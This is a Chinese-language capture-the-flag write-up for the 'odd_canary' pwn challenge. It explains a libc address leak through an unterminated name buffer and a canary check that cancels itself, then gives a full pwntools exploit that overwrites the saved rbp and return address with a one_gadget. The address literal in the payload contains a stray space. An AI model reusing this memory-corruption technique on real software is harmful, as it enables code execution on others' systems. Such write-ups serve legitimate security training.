湾区杯复现odd_canary(one_gadget)
解题思路
主函数

get_news函数
buf空间为5*8=40也就是0x28字节

这段代码意思是在 输入字节数+1 的地址处写入10 也就是\n换行符
1
| *(buf + read(0, buf, 0x28uLL)) = 10;
|
下面直接跟着把puts函数的真实地址给了bss
跟进之后地址在404080
就是在name的32字节缓冲区之后紧接着,printf函数在没接到NULL的时候会一直输出
所以这里会把puts函数的真实地址泄露,从而计算libc
这个函数就是这个作用

下面是vuln函数

这里看似有canary
实则v1=v3之后,后面相当于v3和自己异或返回0,所以这个操作相当于自己绕过了
溢出之后栈中没多少空间了,这里用one_gadget
找到偏移,限制是必须在rbp-0x78这里是可写的

用vmmap查看内存布局
在这个地址之间是可以写入的

将0x404800覆盖为保存的rbp
返回地址填充one_gadget即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 高地址 +---------------------+ | 保存的返回地址 | ← rbp + 8 +---------------------+ | 保存的 rbp | ← rbp +---------------------+ | v1 [8字节] | ← rbp - 0x38 +---------------------+ | buf[4] [8字节] | ← rbp - 0x30 + 0x20 = rbp - 0x10 +---------------------+ | buf[3] [8字节] | ← rbp - 0x30 + 0x18 = rbp - 0x18 +---------------------+ | buf[2] [8字节] | ← rbp - 0x30 + 0x10 = rbp - 0x20 +---------------------+ | buf[1] [8字节] | ← rbp - 0x30 + 0x8 = rbp - 0x28 +---------------------+ | buf[0] [8字节] | ← rbp - 0x30 +---------------------+ | v3 [8字节] | ← rbp - 0x8 (canary) +---------------------+ 低地址
|
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = process('/home/sirius/桌面/CTF/odd_canary' )
elf = ELF('/home/sirius/桌面/CTF/odd_canary' ) libc=ELF('/home/sirius/桌面/CTF/2.35-0ubuntu3.10_amd64/libc.so.6')
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) ru = lambda delims :io.recvuntil(delims) itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) ui = lambda data :int(data,16) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) debug = lambda :gdb.attach(io)
def good(name): sa('Choose (good/vuln/exit): ','good') sa('name first:\n',name)
def vuln(payload): sa('Choose (good/vuln/exit): ','vuln') sa('payload: \n',payload)
def exit(yn): sa('Choose (good/vuln/exit): ','exit') sa('Are you sure ? [y/n]\n',yn)
good('a'*0x1f) sa('Choose (good/vuln/exit): ','good') ru('I will tell you good news,'+'a'*0x1f+'\n') libc_base = uu64(r(6)) - libc.sym['puts'] lg('libc_base',libc_base) one_gadget = libc_base + 0xebc81 sa('name first:\n','a'*0x1f) payload = b'exec' payload = payload.ljust(0x30,b'\x00') + p64(0x40 4800) + p64(one_gadget)
vuln(payload) itr()
|